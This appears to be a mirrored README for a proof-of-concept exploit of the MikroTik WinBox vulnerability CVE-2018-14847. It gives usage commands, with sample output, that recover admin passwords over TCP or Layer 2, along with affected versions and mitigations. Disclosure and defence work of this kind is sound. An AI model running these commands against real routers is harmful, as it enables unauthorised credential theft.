Giter Site home page Giter Site logo

winboxpoc's Introduction

WinboxExploit

This is a proof of concept of the critical WinBox vulnerability (CVE-2018-14847) which allows for arbitrary file read of plain text passwords.

Blogpost

https://n0p.me/winbox-bug-dissection/

Requirements

  • Python 3+

This script will NOT run with Python 2.x or lower.

How To Use

The script is simple used with simple arguments in the commandline.

WinBox (TCP/IP)

Exploit the vulnerability and read the password.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Example:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Layer 2)

You can extract files even if the device doesn't have an IP address.

Simple discovery check for locally connected Mikrotik devices.

python3 MACServerDiscover.py

Example:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Exploit the vulnerability and read the password.

python3 MACServerExploit.py <MAC-ADDRESS>

Example:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Vulnerable Versions

All RouterOS versions from 2015-05-28 to 2018-04-20 are vulnerable to this exploit.

Mikrotik devices running RouterOS versions:

  • Longterm: 6.30.1 - 6.40.7
  • Stable: 6.29 - 6.42
  • Beta: 6.29rc1 - 6.43rc3

For more information see: https://blog.mikrotik.com/security/winbox-vulnerability.html

Mitigation Techniques

  • Upgrade the router to a RouterOS version that include the fix.
  • Disable the WinBox service on the router.
  • You can restricct access to the WinBox service to specific IP-addresses wtih the following:
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
  • You may use some Filter Rules (ACL) to deny external access to the WinBox service:
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
  • Limiting access to the mac-winbox service can be done by specifing allowed interfaces:
/tool mac-server mac-winbox

Copyright

winboxpoc's People

Contributors

mosajjal avatar deantwo avatar bignerd95 avatar yalpanian avatar vio17 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.